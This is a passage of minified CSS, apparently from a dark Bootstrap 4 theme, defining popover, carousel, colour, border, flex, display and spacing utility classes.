0.75rem;margin-bottom:0;font-size:1rem;color:inherit;background-color:rgba(255,255,255,0.075);border-bottom:1px solid rgba(242,242,242,0.075);border-top-left-radius:calc(0 - 1px);border-top-right-radius:calc(0 - 1px)}.popover-header:empty{display:none}.popover-body{padding:0.5rem 0.75rem;color:#EBEBEB}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:100%;-webkit-transition:-webkit-transform 0.6s ease;transition:-webkit-transform 0.6s ease;transition:transform 0.6s ease;transition:transform 0.6s ease, -webkit-transform 0.6s ease;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-item.active,.carousel-item-next,.carousel-item-prev{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}}.carousel-item-next,.active.carousel-item-right{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-next,.active.carousel-item-right{-webkit-transform:translate3d(100%, 0, 0);transform:translate3d(100%, 0, 0)}}.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports (-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d){.carousel-item-prev,.active.carousel-item-left{-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}}.carousel-control-prev,.carousel-control-next{position:absolute;top:0;bottom:0;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:0.5}.carousel-control-prev:hover,.carousel-control-prev:focus,.carousel-control-next:hover,.carousel-control-next:focus{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-prev-icon,.carousel-control-next-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;background-color:rgba(255,255,255,0.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.bg-primary{background-color:#DF691A !important}a.bg-primary:hover,a.bg-primary:focus,button.bg-primary:hover,button.bg-primary:focus{background-color:#b15315 !important}.bg-secondary{background-color:#4E5D6C !important}a.bg-secondary:hover,a.bg-secondary:focus,button.bg-secondary:hover,button.bg-secondary:focus{background-color:#39444e !important}.bg-success{background-color:#5cb85c !important}a.bg-success:hover,a.bg-success:focus,button.bg-success:hover,button.bg-success:focus{background-color:#449d44 !important}.bg-info{background-color:#5bc0de !important}a.bg-info:hover,a.bg-info:focus,button.bg-info:hover,button.bg-info:focus{background-color:#31b0d5 !important}.bg-warning{background-color:#f0ad4e !important}a.bg-warning:hover,a.bg-warning:focus,button.bg-warning:hover,button.bg-warning:focus{background-color:#ec971f !important}.bg-danger{background-color:#d9534f !important}a.bg-danger:hover,a.bg-danger:focus,button.bg-danger:hover,button.bg-danger:focus{background-color:#c9302c !important}.bg-light{background-color:#8d9dad !important}a.bg-light:hover,a.bg-light:focus,button.bg-light:hover,button.bg-light:focus{background-color:#6f8397 !important}.bg-dark{background-color:#4E5D6C !important}a.bg-dark:hover,a.bg-dark:focus,button.bg-dark:hover,button.bg-dark:focus{background-color:#39444e !important}.bg-white{background-color:#fff !important}.bg-transparent{background-color:transparent !important}.border{border:1px solid #dee2e6 !important}.border-top{border-top:1px solid #dee2e6 !important}.border-right{border-right:1px solid #dee2e6 !important}.border-bottom{border-bottom:1px solid #dee2e6 !important}.border-left{border-left:1px solid #dee2e6 !important}.border-0{border:0 !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.border-primary{border-color:#DF691A !important}.border-secondary{border-color:#4E5D6C !important}.border-success{border-color:#5cb85c !important}.border-info{border-color:#5bc0de !important}.border-warning{border-color:#f0ad4e !important}.border-danger{border-color:#d9534f !important}.border-light{border-color:#8d9dad !important}.border-dark{border-color:#4E5D6C !important}.border-white{border-color:#fff !important}.rounded{border-radius:0 !important}.rounded-top{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-right{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-bottom{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-left{border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-circle{border-radius:50% !important}.rounded-0{border-radius:0 !important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}@media (min-width: 576px){.d-sm-none{display:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-sm-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 768px){.d-md-none{display:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-md-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 992px){.d-lg-none{display:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-lg-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 1200px){.d-xl-none{display:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-xl-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media print{.d-print-none{display:none !important}.d-print-inline{display:inline !important}.d-print-inline-block{display:inline-block !important}.d-print-block{display:block !important}.d-print-table{display:table !important}.d-print-table-row{display:table-row !important}.d-print-table-cell{display:table-cell !important}.d-print-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-print-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.8571428571%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}@media (min-width: 576px){.flex-sm-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-sm-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-sm-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-sm-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-sm-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-sm-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-sm-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-sm-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-sm-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-sm-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-sm-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-sm-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-sm-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-sm-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-sm-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-sm-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-sm-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-sm-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-sm-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-sm-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-sm-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-sm-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-sm-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-sm-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-sm-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-sm-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-sm-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-sm-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 768px){.flex-md-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-md-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-md-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-md-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-md-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-md-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-md-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-md-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-md-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-md-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-md-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-md-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-md-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-md-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-md-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-md-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-md-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-md-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-md-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-md-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-md-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-md-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-md-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-md-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-md-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-md-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-md-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-md-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 992px){.flex-lg-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-lg-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-lg-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-lg-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-lg-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-lg-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-lg-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-lg-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-lg-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-lg-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-lg-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-lg-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-lg-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-lg-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-lg-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-lg-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-lg-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-lg-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-lg-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-lg-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-lg-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-lg-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-lg-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-lg-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-lg-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-lg-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-lg-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-lg-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 1200px){.flex-xl-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-xl-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-xl-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-xl-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-xl-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-xl-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-xl-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-xl-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-xl-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-xl-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-xl-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-xl-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-xl-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-xl-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-xl-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-xl-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-xl-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-xl-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-xl-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-xl-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-xl-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-xl-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-xl-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-xl-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-xl-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-xl-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-xl-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-xl-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media (min-width: 576px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media (min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media (min-width: 992px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media (min-width: 1200px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:-webkit-sticky !important;position:sticky !important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports (position: -webkit-sticky) or (position: sticky){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;-webkit-clip-path:inset(50%);clip-path:inset(50%);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal;-webkit-clip-path:none;clip-path:none}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.mw-100{max-width:100% !important}.mh-100{max-height:100% !important}.m-0{margin:0 !important}.mt-0,.my-0{margin-top:0 !important}.mr-0,.mx-0{margin-right:0 !important}.mb-0,.my-0{margin-bottom:0 !important}.ml-0,.mx-0{margin-left:0 !important}.m-1{margin:0.25rem !important}.mt-1,.my-1{margin-top:0.25rem !important}.mr-1,.mx-1{margin-right:0.25rem !important}.mb-1,.my-1{margin-bottom:0.25rem !important}.ml-1,.mx-1{margin-left:0.25rem !important}.m-2{margin:0.5rem !important}.mt-2,.my-2{margin-top:0.5rem !important}.mr-2,.mx-2{margin-right:0.5rem !important}.mb-2,.my-2{margin-bottom:0.5rem !important}.ml-2,.mx-2{margin-left:0.5rem !important}.m-3{margin:1rem !important}.mt-3,.my-3{margin-top:1rem !important}.mr-3,.mx-3{margin-right:1rem !important}.mb-3,.my-3{margin-bottom:1rem !important}.ml-3,.mx-3{margin-left:1rem !important}.m-4{margin:1.5rem !important}.mt-4,.my-4{margin-top:1.5rem !important}.mr-4,.mx-4{margin-right:1.5rem !important}.mb-4,.my-4{margin-bottom:1.5rem !important}.ml-4,.mx-4{margin-left:1.5rem !important}.m-5{margin:3rem !important}.mt-5,.my-5{margin-top:3rem !important}.mr-5,.mx-5{margin-right:3rem !important}.mb-5,.my-5{margin-bottom:3rem !important}.ml-5,.mx-5{margin-left:3rem !important}.p-0{padding:0 !important}.pt-0,.py-0{padding-top:0 !important}.pr-0,.px-0{padding-right:0 !important}.pb-0,.py-0{padding-bottom:0 !important}.pl-0,.px-0{padding-left:0 !important}.p-1{padding:0.25rem !important}.pt-1,.py-1{padding-top:0.25rem !important}.pr-1,.px-1{padding-right:0.25rem !important}.pb-1,.py-1{padding-bottom:0.25rem !important}.pl-1,.px-1{padding-left:0.25rem !important}.p-2{padding:0.5rem !important}.pt-2,.py-2{padding-top:0.5rem !important}.pr-2,.px-2{padding-right:0.5rem !important}.pb-2,.py-2{padding-bottom:0.5rem !important}.pl-2,.px-2{padding-left:0.5rem !important}.p-3{padding:1rem !important}.pt-3,.py-3{padding-top:1rem !important}.pr-3,.px-3{padding-right:1rem !important}.pb-3,.py-3{padding-bottom:1rem !important}.pl-3,.px-3{padding-left:1rem !important}.p-4{padding:1.5rem !important}.pt-4,.py-4{padding-top:1.5rem !important}.pr-4,.px-4{padding-right:1.5rem !important}.pb-4,.py-4{padding-bottom:1.5rem !important}.pl-4,.px-4{padding-left:1.5rem !important}.p-5{padding:3rem !important}.pt-5,.py-5{padding-top:3rem !important}.pr-5,.px-5{padding-right:3rem !important}.pb-5,.py-5{padding-bottom:3rem !important}.pl-5,.px-5{padding-left:3rem !important}.m-auto{margin:auto !important}.mt-auto,.my-auto{margin-top:auto !important}.mr-auto,.mx-auto{margin-right:auto !important}.mb-auto,.my-auto{margin-bottom:auto !important}.ml-auto,.mx-auto{margin-left:auto !important}@media (min-width: 576px){.m-sm-0{margin:0 !important}.mt-sm-0,.my-sm-0{margin-top:0 !important}.mr-sm-0,.mx-sm-0{margin-right:0 !important}.mb-sm-0,.my-sm-0{margin-bottom:0 !important}.ml-sm-0,.mx-sm-0{margin-left:0 !important}.m-sm-1{margin:0.25rem !important}.mt-sm-1,.my-sm-1{margin-top:0.25rem !important}.mr-sm-1,.mx-sm-1{margin-right:0.25rem !important}.mb-sm-1,.my-sm-1{margin-bottom:0.25rem !important}.ml-sm-1,.mx-sm-1{margin-left:0.25rem !important}.m-sm-2{margin:0.5rem !important}.mt-sm-2,.my-sm-2{margin-top:0.5rem !important}.mr-sm-2,.mx-sm-2{margin-right:0.5rem !important}.mb-sm-2,.my-sm-2{margin-bottom:0.5rem !important}.ml-sm-2,.mx-sm-2{margin-left:0.5rem !important}.m-sm-3{margin:1rem !important}.mt-sm-3,.my-sm-3{margin-top:1rem !important}.mr-sm-3,.mx-sm-3{margin-right:1rem !important}.mb-sm-3,.my-sm-3{margin-bottom:1rem !important}.ml-sm-3,.mx-sm-3{margin-left:1rem !important}.m-sm-4{margin:1.5rem !important}.mt-sm-4,.my-sm-4{margin-top:1.5rem !important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem !important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem !important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem !important}.m-sm-5{margin:3rem !important}.mt-sm-5,.my-sm-5{margin-top:3rem !important}.mr-sm-5,.mx-sm-5{margin-right:3rem !important}.mb-sm-5,.my-sm-5{margin-bottom:3rem !important}.ml-sm-5,.mx-sm-5{margin-left:3rem !important}.p-sm-0{padding:0 !important}.pt-sm-0,.py-sm-0{padding-top:0 !important}.pr-sm-0,.px-sm-0{padding-right:0 !important}.pb-sm-0,.py-sm-0{padding-bottom:0 !important}.pl-sm-0,.px-sm-0{padding-left:0 !important}.p-sm-1{padding:0.25rem !important}.pt-sm-1,.py-sm-1{padding-top:0.25rem !important}.pr-sm-1,.px-sm-1{padding-right:0.25rem !important}.pb-sm-1,.py-sm-1{padding-bottom:0.25rem !important}.pl-sm-1,.px-sm-1{padding-left:0.25rem !important}.p-sm-2{padding:0.5rem !important}.pt-sm-2,.py-sm-2{padding-top:0.5rem !important}.pr-sm-2,.px-sm-2{padding-right:0.5rem !important}.pb-sm-2,.py-sm-2{padding-bottom:0.5rem !important}.pl-sm-2,.px-sm-2{padding-left:0.5rem !important}.p-sm-3{padding:1rem !important}.pt-sm-3,.py-sm-3{padding-top:1rem !important}.pr-sm-3,.px-sm-3{padding-right:1rem !important}.pb-sm-3,.py-sm-3{padding-bottom:1rem !important}.pl-sm-3,.px-sm-3{padding-left:1rem !important}.p-sm-4{padding:1.5rem 